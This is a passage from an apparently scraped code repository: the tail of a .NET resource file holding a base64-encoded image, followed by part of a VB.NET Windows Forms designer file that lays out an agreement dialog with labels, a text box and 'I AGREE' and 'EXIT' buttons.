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
</value>
</data>
<metadata name="$this.TrayHeight" type="System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<value>57</value>
</metadata>
</root>
File diff suppressed because it is too large Load Diff
+176
View File
@@ -0,0 +1,176 @@
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
Partial Class Form2
Inherits System.Windows.Forms.Form
'Form overrides dispose to clean up the component list.
<System.Diagnostics.DebuggerNonUserCode()> _
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
Try
If disposing AndAlso components IsNot Nothing Then
components.Dispose()
End If
Finally
MyBase.Dispose(disposing)
End Try
End Sub
'Required by the Windows Form Designer
Private components As System.ComponentModel.IContainer
'NOTE: The following procedure is required by the Windows Form Designer
'It can be modified using the Windows Form Designer.
'Do not modify it using the code editor.
<System.Diagnostics.DebuggerStepThrough()> _
Private Sub InitializeComponent()
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form2))
Me.PictureBox1 = New System.Windows.Forms.PictureBox
Me.Label1 = New System.Windows.Forms.Label
Me.Label2 = New System.Windows.Forms.Label
Me.MButton2 = New SCV6._0.MButton
Me.MButton1 = New SCV6._0.MButton
Me.TextBox1 = New System.Windows.Forms.TextBox
Me.Label3 = New System.Windows.Forms.Label
Me.Label4 = New System.Windows.Forms.Label
Me.Label5 = New System.Windows.Forms.Label
Me.MButton3 = New SCV6._0.MButton
CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit()
Me.SuspendLayout()
'
'PictureBox1
'
Me.PictureBox1.BackgroundImage = CType(resources.GetObject("PictureBox1.BackgroundImage"), System.Drawing.Image)
Me.PictureBox1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch
Me.PictureBox1.Location = New System.Drawing.Point(26, 12)
Me.PictureBox1.Name = "PictureBox1"
Me.PictureBox1.Size = New System.Drawing.Size(235, 49)
Me.PictureBox1.TabIndex = 0
Me.PictureBox1.TabStop = False
'
'Label1
'
Me.Label1.Font = New System.Drawing.Font("Calibri", 9.0!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
Me.Label1.ForeColor = System.Drawing.Color.Yellow
Me.Label1.Location = New System.Drawing.Point(12, 77)
Me.Label1.Name = "Label1"
Me.Label1.Size = New System.Drawing.Size(285, 161)
Me.Label1.TabIndex = 1
Me.Label1.Text = resources.GetString("Label1.Text")
'
'Label2
'
Me.Label2.Font = New System.Drawing.Font("Calibri", 9.0!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
Me.Label2.ForeColor = System.Drawing.Color.Yellow
Me.Label2.Location = New System.Drawing.Point(12, 238)
Me.Label2.Name = "Label2"
Me.Label2.Size = New System.Drawing.Size(285, 90)
Me.Label2.TabIndex = 2
Me.Label2.Text = resources.GetString("Label2.Text")
'
'MButton2
'
Me.MButton2.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
Me.MButton2.ForeColor = System.Drawing.Color.Yellow
Me.MButton2.Location = New System.Drawing.Point(15, 360)
Me.MButton2.Name = "MButton2"
Me.MButton2.Size = New System.Drawing.Size(128, 23)
Me.MButton2.TabIndex = 4
Me.MButton2.Text = "EXIT"
'
'MButton1
'
Me.MButton1.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
Me.MButton1.ForeColor = System.Drawing.Color.Yellow
Me.MButton1.Location = New System.Drawing.Point(15, 331)
Me.MButton1.Name = "MButton1"
Me.MButton1.Size = New System.Drawing.Size(128, 23)
Me.MButton1.TabIndex = 3
Me.MButton1.Text = "I AGREE"
'
'TextBox1
'
Me.TextBox1.Location = New System.Drawing.Point(149, 333)
Me.TextBox1.Name = "TextBox1"
Me.TextBox1.Size = New System.Drawing.Size(148, 21)
Me.TextBox1.TabIndex = 5
